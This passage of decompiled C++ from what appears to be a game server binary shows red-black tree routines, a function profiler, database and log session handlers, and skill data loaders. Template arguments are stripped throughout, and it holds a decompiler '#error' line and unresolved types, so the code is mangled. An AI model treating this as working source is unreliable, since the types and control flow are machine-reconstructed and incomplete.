*)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; return v15; } // 5DBB58: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00446BD0) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _Where) { std::_Tree,std::allocator,0> > *v3; // ebp@1 std::_Tree,std::allocator,0> >::iterator v4; // ebx@4 std::_Tree,std::allocator,0> >::iterator v5; // edi@5 std::_Tree,std::allocator,0> >::iterator v6; // ecx@8 std::_Tree,std::allocator,0> >::iterator v7; // esi@9 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@11 std::_Tree_nod,std::allocator,0> >::_Node *v9; // ebx@16 std::_Tree_nod,std::allocator,0> >::_Node *v10; // eax@18 std::_Tree_nod,std::allocator,0> >::_Node *v11; // ebx@21 std::_Tree_nod,std::allocator,0> >::_Node *v12; // eax@30 int v13; // eax@32 char v14; // al@35 int v15; // eax@39 bool v16; // zf@54 unsigned int v17; // eax@60 std::_Tree,std::allocator,0> >::iterator *v18; // eax@62 std::_Tree,std::allocator,0> >::iterator _Erasednode; // [sp+8h] [bp-54h]@4 std::basic_string,std::allocator > thisa; // [sp+Ch] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+28h] [bp-34h]@2 int v22; // [sp+58h] [bp-4h]@2 v3 = this; if ( *(_BYTE *)(*(_DWORD *)&_Where + 49) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid map/set iterator", 0x1Bu); v22 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } v4 = _Where; _Erasednode = _Where; std::_Tree_std::allocator_0>>::const_iterator::_Inc(&_Where.baseclass_0); if ( *(_BYTE *)(**(_DWORD **)&v4 + 49) ) { v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v4 + 8); LABEL_9: v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v4 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 49) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; v8 = v3->_Myhead; if ( v8->_Parent == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { v8->_Parent = (std::_Tree_nod,std::allocator,0> >::_Node *)v5; } else { if ( **(_DWORD **)&v7 == v4 ) **(_DWORD **)&v7 = v5; else *(_DWORD *)(*(_DWORD *)&v7 + 8) = v5; } v9 = v3->_Myhead; if ( v9->_Left == (std::_Tree_nod,std::allocator,0> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 49) ) v10 = (std::_Tree_nod,std::allocator,0> >::_Node *)v7; else v10 = std::_Tree_std::allocator_0>>::_Min(*(std::_Tree_nod,std::allocator,0> >::_Node **)&v5); v9->_Left = v10; } v11 = v3->_Myhead; if ( v11->_Right == (std::_Tree_nod,std::allocator,0> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 49) ) v11->_Right = (std::_Tree_nod,std::allocator,0> >::_Node *)v7; else v11->_Right = std::_Tree_std::allocator_0>>::_Max(*(std::_Tree_nod,std::allocator,0> >::_Node **)&v5); } goto LABEL_36; } if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 49) ) { v5 = (std::_Tree,std::allocator,0> >::iterator)**(_DWORD **)&v4; goto LABEL_9; } v6 = _Where; v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&_Where + 8); if ( _Where == v4 ) goto LABEL_9; *(_DWORD *)(**(_DWORD **)&v4 + 4) = _Where; **(_DWORD **)&v6 = **(_DWORD **)&v4; if ( v6 == *(_DWORD *)(*(_DWORD *)&v4 + 8) ) { v7 = v6; } else { v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v6 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 49) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; **(_DWORD **)&v7 = v5; *(_DWORD *)(*(_DWORD *)&v6 + 8) = *(_DWORD *)(*(_DWORD *)&v4 + 8); *(_DWORD *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 4) = v6; } v12 = v3->_Myhead; if ( v12->_Parent == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { v12->_Parent = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; } else { v13 = *(_DWORD *)(*(_DWORD *)&v4 + 4); if ( *(_DWORD *)v13 == v4 ) *(_DWORD *)v13 = v6; else *(_DWORD *)(v13 + 8) = v6; } *(_DWORD *)(*(_DWORD *)&v6 + 4) = *(_DWORD *)(*(_DWORD *)&v4 + 4); v14 = *(_BYTE *)(*(_DWORD *)&v6 + 48); *(_BYTE *)(*(_DWORD *)&v6 + 48) = *(_BYTE *)(*(_DWORD *)&v4 + 48); *(_BYTE *)(*(_DWORD *)&v4 + 48) = v14; LABEL_36: if ( *(_BYTE *)(*(_DWORD *)&_Erasednode + 48) == 1 ) { if ( (std::_Tree_nod,std::allocator,0> >::_Node *)v5 != v3->_Myhead->_Parent ) { do { if ( *(_BYTE *)(*(_DWORD *)&v5 + 48) != 1 ) break; v15 = **(_DWORD **)&v7; if ( v5 == **(_DWORD **)&v7 ) { v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); if ( !*(_BYTE *)(v15 + 48) ) { *(_BYTE *)(v15 + 48) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 48) = 0; std::_Tree_std::allocator_0>>::_Lrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } if ( *(_BYTE *)(v15 + 49) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)v15 + 48) != 1 || *(_BYTE *)(*(_DWORD *)(v15 + 8) + 48) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 48) == 1 ) { *(_BYTE *)(*(_DWORD *)v15 + 48) = 1; *(_BYTE *)(v15 + 48) = 0; std::_Tree_std::allocator_0>>::_Rrotate( v3, (std::_Tree_nod,std::allocator,0> >::_Node *)v15); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } *(_BYTE *)(v15 + 48) = *(_BYTE *)(*(_DWORD *)&v7 + 48); *(_BYTE *)(*(_DWORD *)&v7 + 48) = 1; *(_BYTE *)(*(_DWORD *)(v15 + 8) + 48) = 1; std::_Tree_std::allocator_0>>::_Lrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); break; } } else { if ( !*(_BYTE *)(v15 + 48) ) { *(_BYTE *)(v15 + 48) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 48) = 0; std::_Tree_std::allocator_0>>::_Rrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); v15 = **(_DWORD **)&v7; } if ( *(_BYTE *)(v15 + 49) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 48) != 1 || *(_BYTE *)(*(_DWORD *)v15 + 48) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)v15 + 48) == 1 ) { *(_BYTE *)(*(_DWORD *)(v15 + 8) + 48) = 1; *(_BYTE *)(v15 + 48) = 0; std::_Tree_std::allocator_0>>::_Lrotate( v3, (std::_Tree_nod,std::allocator,0> >::_Node *)v15); v15 = **(_DWORD **)&v7; } *(_BYTE *)(v15 + 48) = *(_BYTE *)(*(_DWORD *)&v7 + 48); *(_BYTE *)(*(_DWORD *)&v7 + 48) = 1; *(_BYTE *)(*(_DWORD *)v15 + 48) = 1; std::_Tree_std::allocator_0>>::_Rrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); break; } } *(_BYTE *)(v15 + 48) = 0; LABEL_54: v5 = v7; v16 = (std::_Tree_nod,std::allocator,0> >::_Node *)v7 == v3->_Myhead->_Parent; v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v7 + 4); } while ( !v16 ); } *(_BYTE *)(*(_DWORD *)&v5 + 48) = 1; } operator delete(*(void **)&_Erasednode); v17 = v3->_Mysize; if ( v17 ) v3->_Mysize = v17 - 1; v18 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Where; return v18; } // 5DBB64: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (00446E90) -------------------------------------------------------- std::pair,std::allocator,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator_0>>::insert(std::_Tree,std::allocator,0> > *this, std::pair,std::allocator,0> >::iterator,bool> *result, FunctionProfiler::FunctionPerformance *_Val) { FunctionProfiler::FunctionPerformance *v3; // ebp@1 std::_Tree,std::allocator,0> > *v4; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v5; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v6; // eax@1 bool v7; // cl@1 char *v8; // edx@2 FunctionProfiler::FunctionPerformance *v9; // edx@7 int v10; // edx@9 std::pair,std::allocator,0> >::iterator,bool> *v11; // eax@9 int v12; // ecx@12 char _Addleft; // [sp+Ch] [bp-4h]@1 v3 = _Val; v4 = this; v5 = this->_Myhead; v6 = v5->_Parent; v7 = 1; _Addleft = 1; if ( !v6->_Isnil ) { v8 = _Val->fp_FunctionName; do { v7 = v8 < v6->_Myval.fp_FunctionName; v5 = v6; _Addleft = v8 < v6->_Myval.fp_FunctionName; if ( v8 >= v6->_Myval.fp_FunctionName ) v6 = v6->_Right; else v6 = v6->_Left; } while ( !v6->_Isnil ); } v9 = (FunctionProfiler::FunctionPerformance *)v5; _Val = (FunctionProfiler::FunctionPerformance *)v5; if ( v7 ) { if ( v5 == v4->_Myhead->_Left ) { v10 = *(_DWORD *)&std::_Tree_std::allocator_0>>::_Insert( v4, (std::_Tree,std::allocator,0> >::iterator *)&_Val, 1, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; result->second = 1; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v10; return v11; } std::_Tree_std::allocator_0>>::const_iterator::_Dec((std::_Tree,std::allocator,0> >::const_iterator *)&_Val); v9 = _Val; } if ( (char *)LODWORD(v9[1].fp_EntryCount) >= v3->fp_FunctionName ) { v11 = result; result->second = 0; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v9; } else { v12 = *(_DWORD *)&std::_Tree_std::allocator_0>>::_Insert( v4, (std::_Tree,std::allocator,0> >::iterator *)&_Val, _Addleft, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v12; result->second = 1; } return v11; } //----- (00446F50) -------------------------------------------------------- int std::_Tree_std::allocator_0>>::erase(...) { std::_Tree,std::allocator,0> >::iterator v4; // ebx@1 std::_Tree,std::allocator,0> >::iterator v5; // esi@1 std::_Tree,std::allocator,0> > *v6; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v7; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@3 std::_Tree,std::allocator,0> >::iterator *v9; // eax@3 std::_Tree,std::allocator,0> >::iterator v10; // ecx@5 int v11; // eax@6 std::_Tree,std::allocator,0> >::iterator j; // eax@7 std::_Tree,std::allocator,0> >::iterator i; // eax@10 v4 = _Last; v5 = _First; v6 = this; v7 = this->_Myhead; if ( (std::_Tree_nod,std::allocator,0> >::_Node *)_First != v7->_Left || (std::_Tree_nod,std::allocator,0> >::_Node *)_Last != v7 ) { if ( _First != _Last ) { do { v10 = v5; if ( !*(_BYTE *)(*(_DWORD *)&v5 + 49) ) { v11 = *(_DWORD *)(*(_DWORD *)&v5 + 8); if ( *(_BYTE *)(v11 + 49) ) { for ( i = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v5 + 4); !*(_BYTE *)(*(_DWORD *)&i + 49); i = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&i + 4) ) { if ( v5 != *(_DWORD *)(*(_DWORD *)&i + 8) ) break; v5 = i; } v5 = i; } else { v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v5 + 8); for ( j = *(std::_Tree,std::allocator,0> >::iterator *)v11; !*(_BYTE *)(*(_DWORD *)&j + 49); j = (std::_Tree,std::allocator,0> >::iterator)**(_DWORD **)&j ) v5 = j; } } std::_Tree_std::allocator_0>>::erase( v6, &_First, v10); } while ( v5 != v4 ); } v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; } else { std::_Tree_std::allocator_0>>::_Erase( this, v7->_Parent); v6->_Myhead->_Parent = v6->_Myhead; v8 = v6->_Myhead; v6->_Mysize = 0; v8->_Left = v8; v6->_Myhead->_Right = v6->_Myhead; v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6->_Myhead->_Left; } return v9; } //----- (00447010) -------------------------------------------------------- void __thiscall FunctionProfiler::PerformanceRecorder::pr_Entrance(FunctionProfiler::PerformanceRecorder *this, char *funcname) { FunctionProfiler::PerformanceRecorder *v2; // esi@1 char *v3; // eax@2 std::pair,std::allocator,0> >::iterator,bool> result; // [sp+8h] [bp-28h]@3 int key; // [sp+10h] [bp-20h]@2 int v6; // [sp+14h] [bp-1Ch]@3 int v7; // [sp+18h] [bp-18h]@3 int v8; // [sp+1Ch] [bp-14h]@3 int v9; // [sp+20h] [bp-10h]@3 int v10; // [sp+24h] [bp-Ch]@3 char *v11; // [sp+28h] [bp-8h]@2 v2 = this; if ( this->pr_CheckLoopCount_Real > 0 ) { v11 = funcname; std::_Tree_std::allocator_0>>::find( &this->pr_Array.baseclass_0, (std::_Tree,std::allocator,0> >::iterator *)&funcname, (FunctionProfiler::FunctionPerformance *)&key); v3 = funcname; if ( (std::_Tree_nod,std::allocator,0> >::_Node *)funcname != v2->pr_Array.baseclass_0._Myhead || (v9 = 0, v10 = 0, v7 = 0, v8 = 0, key = 0, v6 = 0, std::_Tree_std::allocator_0>>::insert( &v2->pr_Array.baseclass_0, &result, (FunctionProfiler::FunctionPerformance *)&key), v3 = *(char **)&std::_Tree_std::allocator_0>>::find( &v2->pr_Array.baseclass_0, (std::_Tree,std::allocator,0> >::iterator *)&funcname, (FunctionProfiler::FunctionPerformance *)&key)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0], (std::_Tree_nod,std::allocator,0> >::_Node *)v3 != v2->pr_Array.baseclass_0._Myhead) ) { ++*((_QWORD *)v3 + 2); QueryPerformanceCounter((LARGE_INTEGER *)v3 + 3); } } } //----- (004470B0) -------------------------------------------------------- void __thiscall FunctionProfiler::PerformanceRecorder::_PerformanceRecorder(FunctionProfiler::PerformanceRecorder *this) { FunctionProfiler::PerformanceRecorder *v1; // esi@1 std::_Tree,std::allocator,0> >::iterator result; // [sp+0h] [bp-4h]@1 result = (std::_Tree,std::allocator,0> >::iterator)this; v1 = this; std::_Tree_std::allocator_0>>::erase( &this->pr_Array.baseclass_0, &result, (std::_Tree,std::allocator,0> >::iterator)this->pr_Array.baseclass_0._Myhead->_Left, (std::_Tree,std::allocator,0> >::iterator)this->pr_Array.baseclass_0._Myhead); operator delete(v1->pr_Array.baseclass_0._Myhead); v1->pr_Array.baseclass_0._Myhead = 0; v1->pr_Array.baseclass_0._Mysize = 0; } //----- (004470E0) -------------------------------------------------------- void __thiscall FunctionProfiler::PerformanceRecorder::PerformanceRecorder(FunctionProfiler::PerformanceRecorder *this) { FunctionProfiler::PerformanceRecorder *v1; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v2; // eax@1 v1 = this; v2 = std::_Tree_std::allocator_0>>::_Buynode(&this->pr_Array.baseclass_0); v1->pr_Array.baseclass_0._Myhead = v2; v2->_Isnil = 1; v1->pr_Array.baseclass_0._Myhead->_Parent = v1->pr_Array.baseclass_0._Myhead; v1->pr_Array.baseclass_0._Myhead->_Left = v1->pr_Array.baseclass_0._Myhead; v1->pr_Array.baseclass_0._Myhead->_Right = v1->pr_Array.baseclass_0._Myhead; v1->pr_Array.baseclass_0._Mysize = 0; QueryPerformanceFrequency(&FunctionProfiler::FunctionPerformance::fp_PerformanceFrequency); if ( !*(_QWORD *)&FunctionProfiler::FunctionPerformance::fp_PerformanceFrequency ) FunctionProfiler::FunctionPerformance::fp_PerformanceFrequency = (LARGE_INTEGER)1i64; v1->pr_CheckLoopCount_Command = -1; v1->pr_CheckLoopCount_Real = -1; } //----- (00447150) -------------------------------------------------------- void __thiscall GameDBSession::GameDBSession(GameDBSession *this) { GameDBSession *v1; // esi@1 v1 = this; ZoneBaseSession::ZoneBaseSession(&this->baseclass_0); v1->baseclass_0.m_Connected_World = 0; v1->baseclass_0.m_Connected_Zone = 0; v1->baseclass_0.vfptr = (ZoneBaseSessionVtbl *)&GameDBSession::_vftable_; v1->baseclass_0.m_Connected_Server_ID = 2; } // 5A297C: using guessed type int (__stdcall *GameDBSession___vftable_)(int interval); //----- (00447180) -------------------------------------------------------- void __thiscall GameDBSession::_GameDBSession(GameDBSession *this) { this->baseclass_0.vfptr = (ZoneBaseSessionVtbl *)&GameDBSession::_vftable_; ZoneBaseSession::_ZoneBaseSession(&this->baseclass_0); } // 5A297C: using guessed type int (__stdcall *GameDBSession___vftable_)(int interval); //----- (00447190) -------------------------------------------------------- void __thiscall SocketBundle::sb_Varification(SocketBundle *this, GameDBSession *sock) { signed int v2; // edi@1 GameDBSession *v3; // eax@1 DebugLogging *v4; // esi@4 _iobuf *v5; // eax@6 _iobuf *v6; // eax@11 v2 = 0; v3 = (GameDBSession *)this->sb_SocketStr; do { ++v2; if ( v3 == sock ) { *((_BYTE *)&this->sb_ReconnectInterval + 264 * v2) = 1; return; } v3 = (GameDBSession *)((char *)v3 + 264); } while ( v2 < 4 ); v4 = DebugLogging::operator<<(&SocketMultiplicateLog, "Varification error"); if ( DebugLogging::dl_ActivAll ) { if ( v4->dl_Activ ) { DebugLogging::dl_FilePoint(v4); v5 = v4->dl_FilePointer; if ( v5 ) fprintf(v5, "%d"); } if ( DebugLogging::dl_ActivAll && v4->dl_Activ ) { if ( v4->dl_FilePointer ) { v6 = DebugLogging::dl_FilePoint(v4); fputc(10, v6); fflush(v4->dl_FilePointer); fclose(v4->dl_FilePointer); v4->dl_FilePointer = 0; } } } } // 5F493C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00447260) -------------------------------------------------------- void __thiscall GameDBSession::gds_DummyFunction(GameDBSession *this, NETCOMMAND *netcmd, int len) { char buf[64]; // [sp+4h] [bp-50h]@1 unsigned int cookie; // [sp+44h] [bp-10h]@1 int v5; // [sp+50h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "GameDBSession::gds_DummyFunction"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_DummyFunction"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = 0; sprintf(buf, "%d/%d:%d"); AssertClass::ac_AssertFail(&shineassert, "GameDBSession::gds_DummyFunction", buf); --funcallanalizer.fca_stackpoint; v5 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GameDBSession::gds_DummyFunction"); __security_check_cookie(cookie); } //----- (00447340) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_MISC_S2SCONNECTION_RDY(GameDBSession *this, NETCOMMAND *netcmd, int len) { ZoneBaseSession *v3; // edi@1 char *v4; // esi@1 CServerInfo::MY_SERVER *v5; // eax@1 __int16 v6; // cx@1 __int16 v7; // dx@1 v3 = (ZoneBaseSession *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GameDBSession::gds_NC_MISC_S2SCONNECTION_RDY"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_MISC_S2SCONNECTION_RDY"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 2050; v4[4] = 6; v4[3] = 2; v4[5] = LOBYTE(ZoneServer::zs_worlddata(&zoneserver)->nWorldNo); v5 = ZoneServer::zs_worlddata(&zoneserver); v6 = (unsigned __int8)v4[3]; v7 = (unsigned __int8)v4[4]; v4[6] = LOBYTE(v5->nZoneNo); *(_WORD *)(v4 + 7) = v7 + v6; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 9) ) ProtocolPacket::pp_SendPacket(&gpp, v3); else AssertClass::ac_AssertFail(&shineassert, "GameDBSession::gds_NC_MISC_S2SCONNECTION_RDY : Packet Too Long", 9); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GameDBSession::gds_NC_MISC_S2SCONNECTION_RDY"); } //----- (00447450) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_MISC_S2SCONNECTION_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { SocketBundle::sb_Varification((SocketBundle *)&sock2gameDB, this); } //----- (00447460) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_MISC_HEARTBEAT_REQ(GameDBSession *this, NETCOMMAND *netcmd, int len) { ZoneBaseSession *v3; // esi@1 v3 = (ZoneBaseSession *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MISC_HEARTBEAT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_MISC_HEARTBEAT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_WORD *)gpp.pp_Buffer = 2053; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 2) ) ProtocolPacket::pp_SendPacket(&gpp, v3); else AssertClass::ac_AssertFail(&shineassert, "GameDBSession::wms_NC_MISC_HEARTBEAT_REQ : Packet Too Long", 2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MISC_HEARTBEAT_REQ"); } //----- (00447530) -------------------------------------------------------- #error "447530: undefined or illegal type '#331' (funcsize=50)" //----- (00447600) -------------------------------------------------------- void __thiscall GameLogSession::GameLogSession(GameLogSession *this) { GameLogSession *v1; // esi@1 v1 = this; ZoneBaseSession::ZoneBaseSession(&this->baseclass_0); v1->baseclass_0.m_Connected_World = 0; v1->baseclass_0.m_Connected_Zone = 0; v1->baseclass_0.vfptr = (ZoneBaseSessionVtbl *)&GameLogSession::_vftable_; v1->baseclass_0.m_Connected_Server_ID = 3; } // 5A2ADC: using guessed type int (__stdcall *GameLogSession___vftable_)(int interval); //----- (00447630) -------------------------------------------------------- void __thiscall GameLogSession::_GameLogSession(GameLogSession *this) { this->baseclass_0.vfptr = (ZoneBaseSessionVtbl *)&GameLogSession::_vftable_; ZoneBaseSession::_ZoneBaseSession(&this->baseclass_0); } // 5A2ADC: using guessed type int (__stdcall *GameLogSession___vftable_)(int interval); //----- (00447640) -------------------------------------------------------- void __thiscall GameLogSession::gls_DummyFunction(GameLogSession *this, NETCOMMAND *netcmd, int len) { char buf[64]; // [sp+4h] [bp-50h]@1 unsigned int cookie; // [sp+44h] [bp-10h]@1 int v5; // [sp+50h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "GameLogSession::gls_DummyFunction"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameLogSession::gls_DummyFunction"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = 0; sprintf(buf, "%d/%d:%d"); AssertClass::ac_AssertFail(&shineassert, "GameLogSession::gls_DummyFunction", buf); --funcallanalizer.fca_stackpoint; v5 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GameLogSession::gls_DummyFunction"); __security_check_cookie(cookie); } //----- (00447720) -------------------------------------------------------- void __thiscall GameLogSession::gls_NC_MISC_S2SCONNECTION_RDY(GameLogSession *this, NETCOMMAND *netcmd, int len) { ZoneBaseSession *v3; // edi@1 char *v4; // esi@1 CServerInfo::MY_SERVER *v5; // eax@1 __int16 v6; // cx@1 __int16 v7; // dx@1 v3 = (ZoneBaseSession *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GameLogSession::gls_NC_MISC_S2SCONNECTION_RDY"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameLogSession::gls_NC_MISC_S2SCONNECTION_RDY"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 2050; v4[4] = 6; v4[3] = 3; v4[5] = LOBYTE(ZoneServer::zs_worlddata(&zoneserver)->nWorldNo); v5 = ZoneServer::zs_worlddata(&zoneserver); v6 = (unsigned __int8)v4[3]; v7 = (unsigned __int8)v4[4]; v4[6] = LOBYTE(v5->nZoneNo); *(_WORD *)(v4 + 7) = v7 + v6; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 9) ) ProtocolPacket::pp_SendPacket(&gpp, v3); else AssertClass::ac_AssertFail(&shineassert, "GameLogSession::gls_NC_MISC_S2SCONNECTION_RDY : Packet Too Long", 9); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GameLogSession::gls_NC_MISC_S2SCONNECTION_RDY"); } //----- (00447830) -------------------------------------------------------- void __thiscall GameLogSession::gls_NC_MISC_S2SCONNECTION_ACK(GameLogSession *this, NETCOMMAND *netcmd, int len) { SocketBundle::sb_Varification((SocketBundle *)&sock2gamelog, (GameDBSession *)this); } //----- (00447840) -------------------------------------------------------- void __thiscall GameLogSession::gls_NC_MISC_HEARTBEAT_REQ(GameLogSession *this, NETCOMMAND *netcmd, int len) { ZoneBaseSession *v3; // esi@1 v3 = (ZoneBaseSession *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "GameLogSession::gls_NC_MISC_HEARTBEAT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameLogSession::gls_NC_MISC_HEARTBEAT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_WORD *)gpp.pp_Buffer = 2053; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 2) ) ProtocolPacket::pp_SendPacket(&gpp, v3); else AssertClass::ac_AssertFail(&shineassert, "GameLogSession::wms_NC_MISC_HEARTBEAT_REQ : Packet Too Long", 2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GameLogSession::gls_NC_MISC_HEARTBEAT_REQ"); } //----- (00447910) -------------------------------------------------------- SkillDataBox::SpecialSkill *__thiscall SkillDataBox::sdb_SpecSkillStruct(SkillDataBox *this) { return &this->sdb_SpecSkill; } //----- (00447920) -------------------------------------------------------- char __thiscall CharaterSkillList::csl_CoolTimeCheck(CharaterSkillList *this, #331 *a2, unsigned __int16 skill) { CharaterSkillList::CharSkill *v3; // eax@1 char result; // al@2 v3 = CharaterSkillList::csl_GetSkillStruct(this, skill); if ( v3 ) { result = clockwatch.cw_CurrTick >= v3->cs_EndOfCooltime; } else { AssertClass::ac_AssertFail(&shineassert, "CharaterSkillList::csl_CoolTimeCheck : Invalid skill id", skill); result = 0; } return result; } //----- (00447990) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineObject::so_mob_CanGathered(#331 *this, #440 *a2, unsigned __int16 *itm) { return 2818; } //----- (004479A0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x3CCu, 0xAEu) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00447A50) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x189Fu, 0x196u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00447B00) -------------------------------------------------------- void __thiscall GatherProduce::GatherTable::GatherTable(GatherProduce::GatherTable *this) { GatherProduce::GatherTable *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->gt_BinData.baseclass_0); memset(&v1->gt_BinData.bdb_defaultblock, 0, 0xACu); HIWORD(v1->gt_BinData.bdb_defaultblock.Gauge) = 0; v1->gt_Array = 